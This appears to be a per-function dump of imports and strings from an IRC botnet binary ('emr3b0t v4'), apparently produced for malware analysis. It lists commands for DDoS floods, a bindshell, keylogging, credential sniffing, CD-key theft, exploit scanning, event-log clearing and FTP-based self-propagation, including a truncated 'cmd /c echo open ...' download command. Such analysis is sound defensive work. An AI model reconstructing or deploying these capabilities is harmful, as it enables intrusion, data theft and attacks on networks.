sub_outside():
	KERNEL32.GetTickCount
	KERNEL32.GetComputerNameA
	KERNEL32.GetLocaleInfoA
	KERNEL32.GetVersionExA
	WS2_32.htons
	WS2_32.socket
	WS2_32.sendto
	WS2_32.WSAGetLastError
	WS2_32.recvfrom
	WS2_32.closesocket
	WS2_32.inet_addr
	WS2_32.connect
	KERNEL32.Sleep
	WS2_32.gethostbyname
	WS2_32.send
	WS2_32.recv
	KERNEL32.CreateProcessA
	KERNEL32.GetVersion
	KERNEL32.GetCommandLineA
	KERNEL32.GetStartupInfoA
	KERNEL32.GetStdHandle
	KERNEL32.FatalAppExitA
	NTDLL.RtlAllocateHeap
	NTDLL.RtlReAllocateHeap
	NTDLL.RtlFreeHeap
	KERNEL32.HeapValidate
	NTDLL.RtlGetLastWin32Error
	KERNEL32.VirtualFree
	KERNEL32.HeapDestroy
	KERNEL32.TlsFree
	KERNEL32.TlsGetValue
	KERNEL32.TlsSetValue
	KERNEL32.GetCurrentThreadId
	KERNEL32.GetCurrentThread
	NTDLL.RtlDeleteCriticalSection
	KERNEL32.SetConsoleCtrlHandler
	KERNEL32.GetFileType
	KERNEL32.InterlockedIncrement
	KERNEL32.InterlockedDecrement
	KERNEL32.MultiByteToWideChar
	KERNEL32.GetModuleHandleA
	KERNEL32.RaiseException
	KERNEL32.GetProcAddress
	USER32.PostMessageA
	KERNEL32.CreateFileA
	KERNEL32.GetFileSize
	KERNEL32.CreateFileMappingA
	KERNEL32.MapViewOfFile
	KERNEL32.GetModuleFileNameA
	KERNEL32.GetTempPathA
	KERNEL32.GetTempFileNameA
	KERNEL32.WriteFile
	KERNEL32.CloseHandle
	GDI32.AddFontResourceA
	KERNEL32.DeleteFileA
	KERNEL32.SetFilePointer
	KERNEL32.ReadFile
	KERNEL32.GetSystemTimeAsFileTime
	KERNEL32.FlushFileBuffers
	KERNEL32.LoadLibraryA

sub_50A7AF(00dd):
	KERNEL32.GetFileAttributesA

sub_5018B0(0126):
	NTDLL.RtlLeaveCriticalSection

sub_4FF61F(0126):
	NTDLL.RtlLeaveCriticalSection

sub_509696(0126):
	NTDLL.RtlLeaveCriticalSection

sub_42E570(02ba):
	NTDLL.RtlGetLastWin32Error

sub_422500(03ba):
	KERNEL32.DebugBreak

sub_418C20(03c8):
	NTDLL.RtlGetLastWin32Error
	KERNEL32.FormatMessageA

	"%s	Error: %s <%d>."

sub_425D50(040b):
	NTDLL.RtlAllocateHeap
	KERNEL32.VirtualAlloc
	KERNEL32.VirtualFree
	NTDLL.RtlFreeHeap

sub_40FA20(044b):
	WS2_32.htons
	WS2_32.socket
	WS2_32.bind
	WS2_32.listen
	WS2_32.ioctlsocket
	WS2_32.select
	WS2_32.__WSAFDIsSet
	WS2_32.accept
	WS2_32.recv
	WS2_32.closesocket
	WS2_32.WSAGetLastError
	KERNEL32.ExitThread

	"GET "
	" "
	" "
	"GET "
	"\r\n"

sub_431BA0(05b0):
	KERNEL32.InterlockedIncrement
	KERNEL32.InterlockedDecrement

sub_421E90(05b0):
	KERNEL32.InterlockedIncrement
	KERNEL32.InterlockedDecrement

sub_4FFFBF(0665):
	NTDLL.RtlEnterCriticalSection
	NTDLL.RtlRestoreLastWin32Error
	KERNEL32.VirtualAlloc
	KERNEL32.VirtualProtect
	NTDLL.RtlLeaveCriticalSection
	KERNEL32.VirtualFree

sub_50CBEB(0697):
	"invalid distance	code"
	"invalid literal/length code"

sub_41289A(0776):
	WS2_32.htons
	WS2_32.inet_addr
	WS2_32.socket
	WS2_32.WSAGetLastError
	KERNEL32.ExitThread
	WS2_32.bind
	WS2_32.closesocket
	WS2_32.WSAIoctl
	WS2_32.recv
	WS2_32.inet_ntoa

	"[PSNIFF]"

sub_412DAC(078a):
	"FTP	sniff"
	"#0#"
	"NICK	"
	"220 "
	"230 "
	"USER	"
	"PASS	"

sub_429560(07be):
	KERNEL32.GetCPInfo

sub_421F10(07ff):
	KERNEL32.MultiByteToWideChar
	NTDLL.RtlGetLastWin32Error

sub_435980(0822):
	KERNEL32.GetVersionExA

sub_4277D0(08ae):
	"filename != NULL"
	"_open.c"
	"mode != NULL"
	"_open.c"
	"_open.c"

sub_509518(094c):
	KERNEL32.GetModuleHandleA

	"CoCreateInstance"

sub_50D043(0a00):
	"unknown compression method"
	"invalid window size"
	"incorrect header	check"
	"incorrect data check"
	"need dictionary"

sub_423830(0a7a):
	NTDLL.RtlAllocateHeap

sub_422420(0ad9):
	NTDLL.RtlEnterCriticalSection

sub_422490(0ad9):
	NTDLL.RtlLeaveCriticalSection

sub_413ECE(0c04):
	KERNEL32.ExitThread

sub_414067(0c04):
	KERNEL32.ExitThread

sub_5083DD(0c89):
	NTDLL.RtlFreeHeap

sub_412D36(0d1f):
	"IRC	sniff"
	"#0#"
	"OPER	"
	"NICK	"
	"oper	"
	"You are now an IRC Operator"

sub_41E390(0d6b):
	"file != NULL"
	"fopen.c"
	"*file != _T('\\0')"
	"fopen.c"
	"mode != NULL"
	"fopen.c"
	"*mode != _T('\\0')"
	"fopen.c"

sub_40CEA6(0d6f):
	WS2_32.inet_ntoa
	KERNEL32.CreateThread
	KERNEL32.Sleep

sub_4019A5(0f5b):
	WS2_32.htons
	WS2_32.socket
	WS2_32.connect
	WS2_32.closesocket
	KERNEL32.Sleep

sub_416D68(10ac):
	WININET.InternetOpenUrlA
	KERNEL32.ExitThread
	KERNEL32.GetTickCount
	WININET.InternetReadFile
	KERNEL32.WriteFile
	KERNEL32.CreateProcessA
	WS2_32.WSACleanup
	WININET.InternetCloseHandle

	"open"

sub_4FFD24(1110):
	NTDLL.RtlEnterCriticalSection
	GDI32.RemoveFontResourceA
	KERNEL32.DeleteFileA
	NTDLL.RtlLeaveCriticalSection

sub_504AB0(1120):
	KERNEL32.GetModuleHandleA
	KERNEL32.GetProcAddress

	"The dynamic link library '%s' could not"...
	"EXECUTABLE"

sub_50B18D(1150):
	KERNEL32.FreeLibrary

sub_40FFD8(1211):
	WS2_32.closesocket
	KERNEL32.CreateThread
	NTDLL.RtlGetLastWin32Error
	KERNEL32.Sleep

	"\\%s"
	"%s"
	"%s%s"
	"\n"
	"*"

sub_42EFB0(1250):
	KERNEL32.UnhandledExceptionFilter

sub_4195F7(136f):
	ADVAPI32.OpenSCManagerA
	ADVAPI32.EnumServicesStatusA
	NTDLL.RtlGetLastWin32Error
	ADVAPI32.CloseServiceHandle

	"The following	Windows	services are regi"...
	"    Unknown"
	"	Paused"
	"    Pausing"
	" Continuing"
	"    Running"
	"    Stoping"
	"   Starting"
	"    Stopped"
	"%s: %s (%s)"

sub_504DC0(13bd):
	KERNEL32.VirtualProtect
	KERNEL32.GetModuleHandleA

	"EXECUTABLE"
	"imm32.dll"
	"imm32.dll"

sub_50B4A4(13df):
	KERNEL32.CreateFileMappingA

sub_50B4E0(13df):
	KERNEL32.CreateFileMappingW

sub_41738D(1416):
	"%sKB"
	"%sKB"
	"%sKB"
	"failed"
	"failed"
	"failed"

sub_5087CA(1432):
	NTDLL.RtlGetLastWin32Error
	KERNEL32.FormatMessageA
	USER32.wsprintfA

	"windows error	%s\n  at %s(%d)\n"

sub_4FC15E(1575):
	GDI32.GetObjectA
	USER32.BeginPaint
	GDI32.CreateCompatibleDC
	GDI32.SelectObject
	GDI32.BitBlt
	GDI32.DeleteDC
	USER32.EndPaint
	USER32.DefWindowProcA

sub_431100(15f7):
	NTDLL.RtlLeaveCriticalSection

sub_4231E0(16bb):
	NTDLL.RtlDeleteCriticalSection

sub_50B636(17da):
	"_lopen"

sub_411F76(17e4):
	WS2_32.select
	WS2_32.__WSAFDIsSet
	WS2_32.recv
	WS2_32.send

sub_4FC3F3(1830):
	KERNEL32.CreateThread
	KERNEL32.Sleep

	"_splashscreen.bmp"

sub_41A652(1889):
	KERNEL32.OpenProcess
	KERNEL32.TerminateProcess

sub_439780(1898):
	KERNEL32.GetLocaleInfoW
	KERNEL32.GetLocaleInfoA
	KERNEL32.MultiByteToWideChar

sub_50C61A(1ac2):
	"invalid literal/length code"
	"invalid distance	code"

sub_41614F(1c79):
	USER32.IsWindow
	USER32.SendMessageA
	USER32.DestroyWindow

	"Window"

sub_41B605(1ce7):
	KERNEL32.Sleep

sub_41D140(1dec):
	"memory check error at	0x%08X = 0x%02X, "...

sub_50AA5E(1e0d):
	KERNEL32.GetModuleFileNameA
	KERNEL32.MultiByteToWideChar

sub_439AD0(1e26):
	KERNEL32.CompareStringW
	KERNEL32.CompareStringA
	KERNEL32.GetCPInfo
	KERNEL32.MultiByteToWideChar

	"cchCount1==0 && cchCount2==1 || cchCoun"...

sub_50A657(1e47):
	KERNEL32.MultiByteToWideChar

sub_427CE0(1ed9):
	"_flsbuf.c"
	"(\"inconsistent IOB fields\",	stream->_pt"...
	"_flsbuf.c"

sub_401C87(1f5c):
	KERNEL32.CreateThread
	KERNEL32.Sleep
	NTDLL.RtlGetLastWin32Error
	WS2_32.getsockname
	WS2_32.inet_ntoa
	KERNEL32.GetSystemDirectoryA
	DNSAPI.DnsFlushResolverCache
	KERNEL32.GetTickCount
	WS2_32.closesocket
	WS2_32.WSACleanup
	WS2_32.inet_addr
	WS2_32.WSAStartup
	WS2_32.gethostbyname
	WS2_32.socket
	WS2_32.htons
	WS2_32.connect
	WS2_32.recv
	WS2_32.send
	KERNEL32.MoveFileA
	KERNEL32.CreateProcessA
	KERNEL32.GetTempPathA
	KERNEL32.DeleteFileA
	WS2_32.gethostbyaddr
	KERNEL32.TerminateThread

	" :"
	"  !"
	"PING"
	"PONG	%s\r\n"
	"JOIN	%s %s\r\n"
	"001"
	"005"
	"302"
	"@"
	"433"
	"NICK	%s\r\n"
	"KICK"
	"NOTICE %s :%s\r\n"
	"JOIN %s %s\r\n"
	"NICK"
	":%s%s"
	"PART"
	"QUIT"
	"353"
	"PART"
	"NOTICE %s	:%s\r\n"
	"PRIVMSG"
	"NOTICE"
	"332"
	"PRIVMSG"
	"NOTICE"
	"SEND"
	"%s"
	"%s"
	"NOTICE"
	"#"
	"CHAT"
	"%s"
	"login"
	"l"
	"332"
	" :"
	"$%d-"
	"$%d"
	"$me"
	"$user"
	"$chan"
	"$rndnick"
	"$server"
	"$chr("
	"$chr("
	")"
	"63"
	"  "
	"rndnick"
	"rn"
	"die"
	"d"
	"logout"
	"lo"
	"version"
	"ver"
	"dedication"
	"ded"
	"speedtest"
	"st"
	"secure"
	"sec"
	"unsecure"
	"unsec"
	"bindshell"
	"bd"
	"Server"
	"socks4"
	"s4"
	"socks4stop"
	"Server"
	"rloginstop"
	"Server"
	"httpstop"
	"Server"
	"logstop"
	"Log list"
	"redirectstop"
	"TCP redirect"
	"synstop"
	"Syn	flood"
	"skysynstop"
	"SkySyn flood"
	"targa3stop"
	"Targa3 flood"
	"wonkstop"
	"Wonk flood"
	"packetstop"
	"DDoS flood"
	"tsunamistop"
	"Tsunami	flood"
	"wisdomstop"
	"Wisdom attack"
	"udpstop"
	"UDP	flood"
	"pingstop"
	"Ping flood"
	"tftpstop"
	"Server"
	"findfilestop"
	"ffstop"
	"procsstop"
	"psstop"
	"clonestop"
	"Clone"
	"securestop"
	"Secure"
	"scanstop"
	"Scan"
	"scanstats"
	"stats"
	"trstats"
	"connectbackstats"
	"cbstats"
	"exploitlist"
	"explist"
	"reconnect"
	"r"
	"disconnect"
	"dc"
	"quit"
	"q"
	"status"
	"s"
	"id"
	"i"
	"reboot"
	"threads"
	"t"
	"aliases"
	"al"
	"log"
	"lg"
	"clearlog"
	"clg"
	"netinfo"
	"ni"
	"sysinfo"
	"si"
	"remove"
	"rm"
	"procs"
	"ps"
	"getcdkeys"
	"key"
	"uptime"
	"up"
	"driveinfo"
	"drv"
	"testdlls"
	"dll"
	"opencmd"
	"ocmd"
	"cmdstop"
	"Remote shell"
	"spoof"
	"off"
	"getclip"
	"gc"
	"flusharp"
	"farp"
	"flushdns"
	"fdns"
	"currentip"
	"cip"
	"rloginserver"
	"rlogin"
	"httpserver"
	"http"
	"tftpserver"
	"tftp"
	"crash"
	"crash"
	"scanall"
	"sa"
	"phonehome"
	"NOTICE %s :PHONING HOME: hi ;).\r\n"
	"findpass"
	"fp"
	"#2"
	"Random"
	"Sequential"
	"full"
	"Tarab"
	"QUIT	:%s\r\n"
	"QUIT :later\r\n"
	"QUIT :disconnecting\r\n"
	"QUIT :reconnecting\r\n"
	"secure"
	"sec"
	"Unsecuring"
	"emr3b0t v4"
	"332"
	"get"
	"%d.%d.%d.*"
	"exploit"
	"#2"
	"reconnect.in"
	"rin"
	"reconnect.in.ms"
	"rinms"
	"flood"
	"load"
	"pm"
	" _"
	"privmsg %s :%s"
	"ct"
	" _"
	"mode"
	" "
	"_"
	"mode	%s %s"
	"join"
	"join	%s"
	"part"
	"part	%s"
	"partflood"
	"CYBER"
	"part	%s %s"
	"pnick"
	"%s%i"
	"NICK	%s"
	"join/part"
	"join	%s"
	"CYBER"
	"part %s %s"
	"join	%s"
	"CYBER"
	"part %s %s"
	"join	%s"
	"CYBER"
	"part %s %s"
	"dcc"
	"nick"
	"join	%s"
	"NICK	%s"
	"NICK	%s"
	"NICK	%s"
	"chgnick"
	"NICK	%s"
	"msg"
	"join	%s"
	"CYBER"
	"privmsg %s	:%s"
	"CYBER"
	"privmsg %s :%s"
	"CYBER"
	"privmsg %s :%s"
	"notice"
	"join	%s"
	"CYBER"
	"NOTICE %s	:%s"
	"CYBER"
	"NOTICE %s	:%s"
	"CYBER"
	"NOTICE %s	:%s"
	"ctcp"
	"join	%s"
	"CYBER"
	"CYBER"
	"CYBER"
	"register"
	"nickserv register %s %s"
	"off"
	"nick"
	"n"
	"join"
	"j"
	"part"
	"pt"
	"raw"
	"r"
	"killthread"
	"k"
	"c_quit"
	"c_q"
	"c_rndnick"
	"c_rn"
	"prefix"
	"pr"
	"open"
	"o"
	"server"
	"se"
	"dns"
	"dn"
	"killproc"
	"kp"
	"kill"
	"ki"
	"delete"
	"del"
	"get"
	"gt"
	"list"
	"li"
	"visit"
	"v"
	"mirccmd"
	"mirc"
	"cmd"
	"cm"
	"readfile"
	"rf"
	"psniff"
	"on"
	"#2"
	"off"
	"sniffer"
	"on"
	"#2"
	"off"
	"ident"
	"on"
	"off"
	"keylog"
	"on"
	"file"
	"off"
	"file"
	"#2"
	"net"
	"start"
	"%s"
	"stop"
	"%s"
	"pause"
	"%s"
	"continue"
	"%s"
	"delete"
	"%s"
	"share"
	"%s"
	"%s"
	"user"
	"%s"
	"%s"
	"%s"
	"send"
	"%s"
	"capture"
	"cap"
	"gethost"
	"gh"
	"killlog"
	"kl"
	"addalias"
	"aa"
	"privmsg"
	"pm"
	"action"
	"a"
	"cycle"
	"cy"
	"mode"
	"m"
	"c_raw"
	"c_r"
	"c_mode"
	"c_m"
	"c_nick"
	"c_n"
	"c_join"
	"c_j"
	"c_part"
	"c_p"
	"targa3"
	"t3"
	"tsunami"
	"tsn"
	"repeat"
	"rp"
	"delay"
	"de"
	"update"
	"up"
	"execute"
	"e"
	"findfile"
	"ff"
	"rename"
	"mv"
	"icmpflood"
	"icmp"
	"clone"
	"c"
	"ddos.syn"
	"ddos.ack"
	"ddos.random"
	"wisdom.udp"
	"synflood"
	"syn"
	"skysyn"
	"phatwonk"
	"wonk"
	"download"
	"dl"
	"redirect"
	"rd"
	"scan"
	"sc"
	"c_privmsg"
	"c_pm"
	"c_action"
	"c_a"
	"portscan"
	"psc"
	"advscan"
	"asc"
	"udpflood"
	"udp"
	"u"
	"netsend"
	"ns"
	"pingflood"
	"ping"
	"p"
	"tcpflood"
	"tcp"
	"email"
	" "
	"_"
	"helo $rndnick\nmail from: <%s>\nrcpt to: "...
	"httpcon"
	"hcon"
	"syn"
	"ack"
	"random"
	"Spoofed"
	"Normal"
	"ICMP.dll not available"
	"upload"
	"%s\\%i%i%i.dll"
	"ab"
	"open %s\r\n%s\r\n%s\r\n%s\r\nput %s\r\nbye\r\n"
	"-s:%s"
	"ftp.exe"
	"open"
	"#2"
	"Sequential"
	"Tarab"
	"332"
	"%s %s %s :%s"
	"repeat"
	"%s %s %s :%s"
	"PART	%s"
	"%s\r\n"
	"JOIN %s %s"
	"%s\r\n"
	"NICK	%s"
	"%s\r\n"
	"332"
	"PART	%s\r\n"
	"JOIN %s %s\r\n"
	"%s %s %s :%s"
	"screen"
	"drivers"
	"frame"
	"video"
	"open"
	"NICK	%s"
	"%s\r\n"
	"QUIT :later\r\n"
	"all"
	"%s\r\n"
	"JOIN %s %s\r\n"
	"NICK	%s\r\n"
	"QUIT :reconnecting\r\n"
	"QUIT :reconnecting\r\n"
	"NICK	%s\r\n"
	"!~"
	"3zef"
	"NOTICE %s :Pass auth failed (%s!%s).\r\n"
	"NOTICE %s :Your attempt has been logged"...
	"NOTICE %s :Host Auth failed (%s!%s).\r\n"
	"NOTICE %s :Your attempt has been logged"...
	"3zef"
	"USERHOST %s\r\n"
	"-x+i"
	"MODE %s %s\r\n"
	"JOIN %s %s\r\n"

sub_40B7CC(1fc3):
	KERNEL32.TerminateThread
	WS2_32.closesocket

sub_50A741(209f):
	KERNEL32.LockFile

sub_401404(2170):
	KERNEL32.GetTickCount
	KERNEL32.SetErrorMode
	KERNEL32.CreateMutexA
	KERNEL32.WaitForSingleObject
	WS2_32.WSAStartup
	KERNEL32.GetSystemDirectoryA
	KERNEL32.SetFileAttributesA
	NTDLL.RtlGetLastWin32Error
	KERNEL32.Sleep
	KERNEL32.CopyFileA
	KERNEL32.GetCurrentProcessId
	KERNEL32.OpenProcess
	KERNEL32.CreateProcessA
	WS2_32.WSACleanup
	KERNEL32.DeleteFileA
	KERNEL32.CreateThread

	"Tarab"
	"#0#"
	"7lome"
	"#0#"
	"7lome"
	"7lome"

sub_41A798(21b8):
	KERNEL32.PeekNamedPipe
	KERNEL32.GetExitCodeProcess
	KERNEL32.Sleep
	KERNEL32.ExitThread

sub_40C87D(21ca):
	KERNEL32.GetTickCount
	WS2_32.inet_ntoa
	NTDLL.RtlEnterCriticalSection
	NTDLL.RtlLeaveCriticalSection
	KERNEL32.Sleep
	KERNEL32.ExitThread

	"sym"

sub_41638E(222d):
	ADVAPI32.RegOpenKeyExA
	ADVAPI32.RegQueryValueExA
	ADVAPI32.RegCloseKey

sub_40C575(22a3):
	"%d.%d.%d.%d"

sub_417D6B(234c):
	KERNEL32.OpenProcess
	KERNEL32.GetSystemInfo
	KERNEL32.VirtualQueryEx
	KERNEL32.GetProcessHeap
	NTDLL.RtlAllocateHeap
	KERNEL32.ReadProcessMemory
	NTDLL.RtlFreeHeap

sub_41AE2B(23ab):
	ADVAPI32.RegOpenKeyExA
	ADVAPI32.RegSetValueExA
	ADVAPI32.RegCloseKey
	KERNEL32.GetLogicalDrives
	KERNEL32.GetDriveTypeA

	"Software\\Microsoft\\OLE"
	"EnableDCOM"
	"SYSTEM\\CurrentControlSet\\Control\\Lsa"
	"restrictanonymous"
	"%c$"
	"%c:\\"

sub_41B975(23b5):
	WININET.InternetGetConnectedStateEx

sub_429DF0(2402):
	"flag == 0	|| flag	== 1"
	"_sftbuf.c"

sub_4231A0(2601):
	KERNEL32.InitializeCriticalSection

sub_500C5C(266f):
	KERNEL32.GetSystemTimeAsFileTime
	KERNEL32.SetFilePointer
	KERNEL32.ReadFile

sub_40E29B(26fe):
	KERNEL32.WriteFile
	KERNEL32.CreateEventA
	NTDLL.RtlGetLastWin32Error
	KERNEL32.WaitForSingleObject
	KERNEL32.Sleep

	"\\\\%s\\pipe\\browser"

sub_42DE80(270a):
	"setlocal.c"

sub_50A8AA(2721):
	KERNEL32.WideCharToMultiByte

	"kernel32"
	"GetFileAttributesExW"

sub_41DC10(28a1):
	"Dumping objects ->\n"
	"%s"
	"#File Error#(%d) : "
	"%hs(%d) : "
	"{%ld} "
	"client block at 0x%08X, subtype %x, %u "...
	"normal block at 0x%08X, %u bytes long.\n"...
	"crt block at 0x%08X, subtype %x, %u byt"...

sub_41B161(28ac):
	WS2_32.htons
	WS2_32.socket
	WS2_32.connect
	KERNEL32.GetTickCount
	WS2_32.send
	WS2_32.closesocket

	"POST / HTTP/1.0\r\nHost: %s\r\nContent-Leng"...
	"\r\n"

sub_40BFD2(28ed):
	WS2_32.inet_ntoa

sub_4FFECD(28f6):
	NTDLL.RtlEnterCriticalSection
	KERNEL32.VirtualFree
	NTDLL.RtlLeaveCriticalSection

sub_417E98(2950):
	KERNEL32.GetProcessHeap
	NTDLL.RtlAllocateHeap
	NTDLL.RtlFreeHeap

sub_41A574(2a9a):
	KERNEL32.ExitThread

sub_431070(2ae8):
	KERNEL32.InitializeCriticalSection
	NTDLL.RtlEnterCriticalSection

sub_41A20B(2b0f):
	KERNEL32.GetComputerNameA

sub_50487F(2b28):
	NTDLL.RtlLeaveCriticalSection

sub_419F61(2bcd):
	"Username accounts for	local system:"
	"  %S"
	"Total	users found: %d."

sub_40EDD5(2cd6):
	WS2_32.recv
	KERNEL32.WriteFile

sub_50B3D5(2d0a):
	KERNEL32.CloseHandle

sub_50A5FF(2d0a):
	KERNEL32.FindClose

sub_50B55B(2d0a):
	KERNEL32.UnmapViewOfFile

sub_41C3F0(2daa):
	"_CrtCheckMemory()"
	"dbgheap.c"
	"Client hook re-allocation failure at fi"...
	"Client hook re-allocation failure.\n"
	"%s"
	"Allocation too large or negative: %u by"...
	"Error: memory	allocation: bad	memory bl"...
	"%s"
	"_CrtIsValidHeapPointer(pUserData)"
	"dbgheap.c"
	"pOldBlock->nLine == IGNORE_LINE && pOld"...
	"dbgheap.c"
	"_BLOCK_TYPE(pOldBlock->nBlockUse)==_BLO"...
	"dbgheap.c"
	"fRealloc || (!fRealloc && pNewBlock == "...
	"dbgheap.c"
	"_pLastBlock == pOldBlock"
	"dbgheap.c"
	"_pFirstBlock == pOldBlock"
	"dbgheap.c"

sub_5061E1(2df3):
	NTDLL.RtlEnterCriticalSection
	KERNEL32.GetModuleHandleA
	KERNEL32.LoadLibraryA
	KERNEL32.LoadLibraryExA
	NTDLL.RtlGetLastWin32Error
	NTDLL.RtlRestoreLastWin32Error
	KERNEL32.FreeLibrary
	KERNEL32.VirtualAlloc

sub_500741(2e6d):
	NTDLL.RtlEnterCriticalSection
	KERNEL32.CloseHandle
	NTDLL.RtlLeaveCriticalSection

sub_410B14(2f11):
	WS2_32.htons
	WS2_32.socket
	WS2_32.bind
	WS2_32.listen
	WS2_32.accept
	WS2_32.inet_ntoa
	WS2_32.recv
	WS2_32.send
	WS2_32.WSAGetLastError
	WS2_32.closesocket
	KERNEL32.ExitThread

	"	: USERID : UNIX	: %s\r\n"

sub_508538(2fab):
	NTDLL.RtlEnterCriticalSection
	KERNEL32.GetModuleHandleA
	KERNEL32.GetModuleFileNameA
	USER32.wsprintfA
	KERNEL32.CreateFileA
	KERNEL32.SetFilePointer
	KERNEL32.WriteFile
	NTDLL.RtlLeaveCriticalSection

	"-up.txt"
	"-up1.txt"

sub_425F30(2fac):
	KERNEL32.VirtualFree
	NTDLL.RtlFreeHeap

sub_40BE20(30be):
	WS2_32.inet_addr
	KERNEL32.ExitThread

	"sym"

sub_50835A(3215):
	NTDLL.RtlAllocateHeap

sub_4154BB(32a6):
	WS2_32.WSASocketA
	WS2_32.setsockopt
	KERNEL32.GetTickCount
	WS2_32.htons
	WS2_32.socket
	WS2_32.closesocket
	WS2_32.inet_addr
	WS2_32.htonl
	WS2_32.sendto
	KERNEL32.Sleep

	" "
	"%s%d	"

sub_41F4E0(331e):
	"fprintf.c"
	"format !=	NULL"
	"fprintf.c"

sub_40AD91(355d):
	WS2_32.inet_addr
	WS2_32.gethostbyname

sub_4256F0(36ab):
	KERNEL32.IsBadWritePtr

sub_414D19(3723):
	KERNEL32.GetTickCount
	WS2_32.socket
	WS2_32.getsockname
	WS2_32.inet_addr
	WS2_32.htons
	WS2_32.sendto
	WS2_32.closesocket

	"%d.%d.%d.%d"

sub_40ADC9(372b):
	IPHLPAPI.GetIpNetTable
	IPHLPAPI.DeleteIpNetEntry

sub_42E020(3752):
	"setlocal.c"
	"="
	";"

sub_40EADE(37c7):
	WS2_32.send

sub_42C430(3868):
	"KERNEL32"
	"IsProcessorFeaturePresent"

sub_429400(3873):
	KERNEL32.GetOEMCP
	KERNEL32.GetACP

sub_50153F(3a62):
	NTDLL.RtlEnterCriticalSection
	KERNEL32.GetFullPathNameA
	USER32.CharUpperBuffA

	"\\\\?\\"

sub_432FB0(3af7):
	KERNEL32.IsBadWritePtr

sub_432F80(3af7):
	KERNEL32.IsBadReadPtr

sub_40C52D(3b1d):
	WS2_32.htonl

sub_4112D9(3baf):
	WS2_32.recv

sub_418EAE(3cc3):
	KERNEL32.GetTempPathA
	KERNEL32.WriteFile
	KERNEL32.SetFileAttributesA
	KERNEL32.ExpandEnvironmentStringsA
	KERNEL32.CreateProcessA

	"%sdel.bat"
	"@echo	off\r\n:repeat\r\ndel \"%%1\"\r\nif exist"...
	"%%comspec%% /c %s	%s"

sub_419036(3f0f):
	KERNEL32.GetVersionExA
	ADVAPI32.OpenEventLogA
	ADVAPI32.ClearEventLogA
	NTDLL.RtlGetLastWin32Error

sub_418D6A(3f4b):
	KERNEL32.GetProcessHeap
	KERNEL32.GetFileTime
	KERNEL32.ReadProcessMemory
	KERNEL32.SetFileTime

	"explorer.exe"

sub_431E10(3fad):
	"ungetc.c"

sub_411037(3fdf):
	WS2_32.recv
	WS2_32.send
	WS2_32.closesocket
	KERNEL32.ExitThread

sub_40F909(4036):
	WS2_32.WSAStartup
	WS2_32.socket
	WS2_32.inet_addr
	WS2_32.htons
	WS2_32.connect
	WS2_32.closesocket
	WS2_32.WSACleanup

sub_429C90(4039):
	"_sftbuf.c"
	"_sftbuf.c"

sub_40E1AD(4089):
	KERNEL32.WriteFile

sub_41B33E(4107):
	"www.schlund.net"
	"www.utwente.nl"
	"verio.fr"
	"www.1und1.de"
	"www.switch.ch"
	"www.belwue.de"
	"de.yahoo.com"
	"www.google.it"
	"www.xo.net"
	"www.stanford.edu"
	"www.verio.com"
	"www.nocster.com"
	"www.rit.edu"
	"www.cogentco.com"
	"www.burst.net"
	"nitro.ucsc.edu"
	"www.level3.com"
	"www.above.net"
	"www.easynews.com"
	"www.google.com"
	"www.lib.nthu.edu.tw"
	"www.st.lib.keio.ac.jp"
	"www.d1asia.com"
	"www.nifty.com"
	"yahoo.co.jp"
	"www.google.co.jp"

sub_4229A0(41a7):
	"szUserMessage	!= NULL"
	"dbgrpt.c"
	""
	"..."
	"..."
	"\n\nFor information on how your program c"...
	"Expression: "
	"\n\n"
	"\nLine:	"
	"\nFile: "
	"\nModule: "
	"Debug	%s!\n\nProgram:	%s%s%s%s%s%s%s%s%s%"...
	"_CrtDbgReport: String	too long or IO Er"...
	"Microsoft Visual C++ Debug Library"

sub_4342F0(4234):
	"initnum.c"
	"."
	"initnum.c"
	"initnum.c"

sub_509C54(43d7):
	KERNEL32.SetUnhandledExceptionFilter

sub_411725(4448):
	KERNEL32.CreatePipe
	NTDLL.RtlGetLastWin32Error
	KERNEL32.TerminateThread

sub_5053D0(44c2):
	KERNEL32.VirtualProtect

sub_40B2E7(468e):
	KERNEL32.GetTickCount
	USER32.FindWindowA

	"mIRC"
	"[M]"
	"[%d]%s"
	"mIRC"
	"[M]"

sub_5047BF(47d8):
	NTDLL.RtlEnterCriticalSection
	KERNEL32.FlushInstructionCache

sub_50AAEB(47e8):
	"kernel32"
	"GetLongPathNameA"

sub_431C20(4816):
	KERNEL32.MultiByteToWideChar

	"MB_CUR_MAX ==	1 || MB_CUR_MAX	== 2"

sub_505FCD(48ac):
	NTDLL.RtlEnterCriticalSection
	NTDLL.RtlLeaveCriticalSection

sub_415321(48c3):
	WS2_32.inet_addr
	KERNEL32.ExitThread

sub_41E030(494e):
	"Detected memory leaks!\n"
	"%s"

sub_41B6C1(4977):
	KERNEL32.GetVersionExA
	ADVAPI32.GetUserNameA
	WS2_32.inet_addr
	WS2_32.gethostbyaddr
	KERNEL32.GetSystemDirectoryA
	KERNEL32.GetDateFormatA
	KERNEL32.GetTimeFormatA
	KERNEL32.GlobalMemoryStatus

	"2003"
	"???"
	"%s (%s)"
	"couldn't resolve host"
	"dd:MMM:yyyy"
	"HH:mm:ss"

sub_509638(4ab4):
	NTDLL.RtlEnterCriticalSection

	"ADVAPI32.DLL"
	"RegQueryValueA"

sub_40BD5A(4c22):
	" Scan Time: %s."

sub_50B277(4db0):
	"RemoveFontResourceA"

sub_50B23E(4db0):
	"AddFontResourceA"

sub_508EF3(4e17):
	KERNEL32.VirtualQuery
	USER32.wsprintfA

	"!broken!"
	"0x%08x:[unknown]:unknown"
	"unknown"
	"0x%08x:[%s]:(%03x:%08x)"
	"!broken!0x%08x:"

sub_40E794(4e3f):
	WS2_32.inet_addr
	WS2_32.htons
	WS2_32.socket
	WS2_32.connect
	WS2_32.recv
	WS2_32.send
	WS2_32.closesocket

	"cmd /c echo open %s %d >> ii &echo user"...

sub_40E8D6(4e3f):
	WS2_32.inet_addr
	WS2_32.htons
	WS2_32.socket
	WS2_32.connect
	WS2_32.recv
	WS2_32.send
	WS2_32.closesocket

	"cmd /c echo open %s %d >> ii &echo user"...

sub_419229(4f52):
	KERNEL32.GetVersionExA
	KERNEL32.GetProcessHeap

	"netapi32.dll"
	"NetMessageBufferSend"

sub_4FC271(5000):
	GDI32.GetObjectA
	KERNEL32.GetModuleHandleA
	USER32.RegisterClassExA
	USER32.GetSystemMetrics
	USER32.AdjustWindowRectEx
	USER32.CreateWindowExA
	USER32.GetMessageA
	USER32.TranslateMessage
	USER32.DispatchMessageA
	KERNEL32.Sleep
	USER32.EnumWindows
	GDI32.DeleteObject

	"{CC7574E4-5E39-4700-B286-269A82DD8E95}"
	"{CC7574E4-5E39-4700-B286-269A82DD8E95}"

